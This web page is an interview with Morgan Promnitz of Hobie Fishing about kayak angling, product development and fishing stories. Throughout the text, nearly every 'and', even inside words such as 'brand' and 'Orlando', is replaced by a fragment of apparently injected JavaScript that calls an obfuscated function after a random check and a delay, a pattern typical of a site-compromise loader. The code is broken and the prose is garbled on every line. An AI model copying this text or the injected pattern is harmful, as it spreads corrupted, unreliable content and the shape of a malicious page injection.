Morgan Promnitz

South African born Morgan Promnitz is the fishing products manager of Hobie Fishing Products, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a seasoned waterman with unparalleled experience in the kayak angling industry. An angler since his formative years, Morgan brings to his job a wealth of knowledge learned in the surf, under the waves, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and atop the very boats he has helped to develop.  When not tinkering in his Encinitas, CA workshop, or fishing the offshore waters, Morgan can be found traveling the world promoting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advancing the Hobie Fishing brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.

What first drew you to this style of angling? When was that?

The search for larger fish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more variety from a vessel that was affordable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and could get me out past the waves to the kelp forests off of the southern California coast. I bought my first fishing kayak in July, 2000. It opened up a whole new world of fishing territory to explore, along with new tactics to learn. Catching large fish from the kayak gets the adrenaline pumping, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and provides an experience different to that on a boat or from the shore.

Do you remember the first fish that you caught from a kayak?

I remember my first yellowtail that I caught – a 20 pounder that “hooked” me forever. I caught it trolling a live mackerel off of the La Jolla coast. It towed me at hi-speed for 10+ minutes, made me realize I needed to upgrade my gear, introduced me to how fish use kelp andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and structure to try andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and break you off, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and offered me a brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and new feeling of exhilaration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and accomplishment that I had never experienced before.

Hobie, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your team in particular, have a reputation for listening to, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interacting with, the end user base.  Be it through trade shows or online forums, customers seem to readily offer ideas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suggestions, many of which appear to be taken quite seriously by the company.  Why do you feel it is important to preserve this way of doing business?

Most of the employees at Hobie Cat Company are users themselves. When we make products, we have to make decisions based on the how the majority of us feel about it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and several other factors. We get it right most of the time, but when we don’t, or when there’s something missing, our customers are quick to let us know. We have some of the most loyal customers ever, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s because we take good care of them when issues arise, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I think that is why they are so eager to share ideas with us. They want our products to work the best, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if we ignored their wants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and needs, we’d be shooting ourselves in the foot.

What food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or music fuels your drive to the put-in?

Coffee andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a donut for breakfast, Monster energy drink, water, Gatorade, sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwiches, leftovers, fruit for lunch, fresh fish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a beer for dinner!

Who, specifically, is shaping the future of kayak angling?

There are so many influences form great people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and companies in the industry that it’s hard to pick just one.

In addition to your managerial skills, you are known for your propensity to bring to the office your own garage-derived tinkerings.  Are there any products currently in the Hobie lineup that started life on your home work bench?

I believe that some of my tinkerings have had some influence on some of the products that Hobie has produced. There are a few products that standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out to me, but the team that we have, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the levels that our engineers reach, baffles me every time. It really is a group effort. It’s awesome to tinker with something for a bit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it over to a group that elevates it to a new level beyond your initial perception – that’s when the excitement really hits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you know you’re on to something.

With regard to kayak angling, what issues are important to you? What, if anything, can be done about them?

With regards to product: safety, performance/fishability, comfort. I think that most kayak anglers are conservationists andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and driven by the environment we get to fish in – I would like to see more launch areas provided for kayakers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and less unreasonable closures of fishing areas that we have very little affect on.

You played a role in the development of the Pro Angler platform, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thoroughly tested the prototypes for the boat.  Like many Hobie products, the Pro Angler has garnered serious andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and passionate devotion from the user base, with fans holding the design in high regard.  How did it feel to learn of the boat’s popular reception?

My predecessor, Vince Console, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our engineering team were the master minds behind the Pro Angler. Being friends with Vince, he involved me in some of the testing of the product. I was incredibly proud to watch him receive the “Best Product in Show Award” at ICAST in Orlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, FL in 2009. I looked up to Vince as a source of inspiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we worked alongside each other. When Vince moved on, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I accepted his responsibilities at Hobie Cat Company, I had big shoes to fill. He planted a seed with the Pro Angler that made a footprint in the fishing industry, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has sparked many exciting things to come.

Barring money or logistics, what is your dream kayak angling trip?

A trip to Cuba kayak fishing the backwater mangroves for tarpon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and snook.

What’s in your milk crate?

Live squid – you know you’re going to catch something good when your milk crate, or in my situation, a Hobie Livewell, is filled with these ink-squirting aliens.

Tell us about your best day on the water.

Wow, this is a hard one. I’ve been very lucky to share several outstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding days on the water with my best friends where the fishing was on fire. You know you’ve had a good day when you look over to your buddy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you both start shaking your heads in disbelief while you scream out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and laugh about the awesome few hours you just experienced together -  without needing to say a word!

What is the kayak fishing lifestyle?

It’s changed for me over the years. My kayak used to constantly be strapped to the roof of my car; heck I used to go so often that I quit washing my truck andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kayak for almost 3 years (note to everyone – not a good idea, my truck is a rust bucket now). Every spare moment I had, you’d find me out on the water fishing long hours – skipping school, calling in sick to work when the bite was good. Nowadays, my time on the water is not as plentiful. My drive has changed, too, from focusing on fishing extremely hard to relaxing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoying my surroundings more. I think the solitude andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and peacefulness that kayak fishing offers is really what calls me now.

Tell us a story, any story.

One opening night of lobster season, a few friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself decided that it was a must to launch through 6 foot pounding waves at midnight to hoop net for the bugs. With 5 nets a piece rigged with bloody tuna heads, we made attempt after attempt to punch through the thumping surf.  We did backflips, cartwheels, you name it – glasses were lost, cell phones were destroyed, but finally 2 of us made it out. We hooped around for a few hours but the swell was so big it would move our nets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and push them in towards the surf zone again. After catching one measly short lobster, we battened down the hatches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prepared for a beating as we headed in. Lesson learned – when the conditions aren’t right, go do something else.

While most college students are marginally employed in often less-than-ideal jobs, you spent your undergraduate years running your own kayak angling guide service, working for Hobie as a sales associate, selling tackle at a retail outlet, angling for the Hobie Fishing Team, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and testing prototype products.  Without doubt, these experiences must have served as an informal training of sorts.  How does your current position make use of your vast andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and varied past?

Working in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and around the fishing industry gave me a great understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding of fishing products andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and consumers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allowed me to stay up to date with fishing technology andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and products. I also worked part time at a Hobie Kayak dealership for a couple of years, so I got to meet our consumers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and learn the product very well. I spent thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of hours on Hobies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experienced introducing new users to the boats every time I guided. All of this allowed me to confidently step in to the position I’m in today. Since then, I’ve met key people who have played influential roles in the fishing industry, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and traveled all over the country, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more recently overseas, where I’ve had the opportunity to observe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take part in the use of Hobie products fishing for a wide variety of species while using the product in new ways.

What does the future hold for you?

More kayak fishing – I don’t think I’ll ever stop! I’ll kayak fish till I die.

 

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